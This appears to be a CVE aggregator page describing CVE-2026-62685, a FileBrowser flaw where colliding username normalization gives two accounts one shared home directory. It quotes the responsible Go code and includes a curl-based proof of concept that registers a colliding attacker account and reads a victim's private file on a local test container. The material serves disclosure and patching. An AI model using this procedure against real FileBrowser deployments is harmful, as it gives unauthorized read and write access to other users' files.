File Browser: Colliding username normalization gives two users the same home directory
FileBrowser confines each user to a *scope*: a home directory that acts as the boundary for everything they can read or write. When self-registration and automatic home-directory creation are both enabled (Signup=true and CreateUserDir=true), a new user's scope is built from their username after it passes through cleanUsername(). That function rewrites the name: it strips .. and replaces every character outside 0-9A-Za-z@_\-. with -.
The problem is that this rewrite is many-to-one: different usernames can produce the same result, and FileBrowser never checks whether the resulting scope is already taken. So team/one, team one, and team-one all collapse to the same directory name, and whoever registers second is handed the same home directory as the first user instead of an isolated one.
This breaks per-user isolation. An attacker can pick a username that normalizes onto a victim's directory (for example registering alice/ or al..ice to land in alice's home) and gain full read and write access to that victim's files. Because username uniqueness is enforced on the raw name, both accounts coexist normally and neither user is warned that they share storage.
1. The home directory is built straight from the cleaned username (settings/dir.go:30)
```go
// MakeUserDir, when CreateUserDir is true:
username = cleanUsername(username)
// ...
userScope = path.Join(s.UserHomeBasePath, username) // line 30
userScope = path.Join("/", userScope) // line 33
```
The user's scope is path.Join(UserHomeBasePath, cleanUsername(username)).
2. cleanUsername collapses distinct inputs to the same output (settings/dir.go:42-52)
```go
func cleanUsername(s string) string {
s = strings.Trim(s, " ")
s = strings.ReplaceAll(s, "..", "") // line 45, deletes ".."
s = invalidFilenameChars.ReplaceAllString(s, "-") // line 48, any non [0-9A-Za-z@_.-] -> "-"
s = dashes.ReplaceAllString(s, "-") // line 51, collapse repeated "-"
return s
}
```
Because several characters all map to - (and .. is simply deleted), many different usernames produce the same output: team/one, team one, team:one, and team-one all become team-one, and a..b becomes ab. Usernames that are unique on their own end up pointing at one shared directory name.
3. No scope-uniqueness check exists
Username uniqueness is enforced on the raw username (Storm id), but nothing enforces uniqueness of the derived Scope. signupHandler writes the colliding scope back to the user (http/auth.go:198-203) and saves the account; the second registrant simply reuses the first registrant's home directory (MakeUserDir calls MkdirAll, which is idempotent).
Tested against filebrowser/filebrowser:v2.63.15 with Signup=true and CreateUserDir=true (default minimumPasswordLength is 12).
Attack Vector: register a colliding username and read/overwrite another user's files:
```bash
#1. Create a dir in /tmp and start a fresh v2.63.15 container
mkdir -p /tmp/filebrowser-test/srv
docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4
B=http://localhost:8090; PW='CollidePw12345!'
#2. Admin logs in and enables the two required non-default settings: signup=true and createUserDir=true
AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}')
AT=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$AP\"}")
curl -s -H "X-Auth: $AT" $B/api/settings \
| python3 -c "import sys,json;d=json.load(sys.stdin);d['signup']=True;d['createUserDir']=True;print(json.dumps(d))" \
| curl -s -X PUT $B/api/settings -H "X-Auth: $AT" -H 'Content-Type: application/json' -d @-
#3. Register the victim teamone-x
curl -s -X POST $B/api/signup -H 'Content-Type: application/json' -d "{\"username\":\"teamone-x\",\"password\":\"$PW\"}"
#4. Register the attacker teamone/x (distinct raw username that cleanUsername() normalizes to the same scope teamone-x)
curl -s -X POST $B/api/signup -H 'Content-Type: application/json' -d "{\"username\":\"teamone/x\",\"password\":\"$PW\"}"
#5. Log in as both accounts (TA = victim, TB = attacker)
TA=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"teamone-x\",\"password\":\"$PW\"}")
TB=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"teamone/x\",\"password\":\"$PW\"}")
#6. Victim A writes a private file
curl -s -X POST "$B/api/resources/secretA.txt?override=true" -H "X-Auth: $TA" --data-binary 'A-private-CONFIDENTIAL-data' -o /dev/null
#7. Attacker B reads A's file (both resolve to the single shared home directory)
curl -s "$B/api/raw/secretA.txt" -H "X-Auth: $TB"
#
This issue can be reached over the network, attack complexity is high, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.
The score comes from this vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2026-62685 is recorded against 3 packages.
Published on 22 July 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.
github.com (Advisory)
nvd.nist.gov (Advisory)
github.com (Fix)
github.com (Web)
github.com/filebrowser/filebrowser has other advisories on record. If you are patching this one, these are worth checking on the same host:
Details
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| github.com/filebrowser/filebrowser | — | — |
| github.com/filebrowser/filebrowser/v2 | — | — |
| unknown | — | — |
References
Similar Threats
Site Security Check
CVE-2026-62685 is rated CVSS 8.1 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.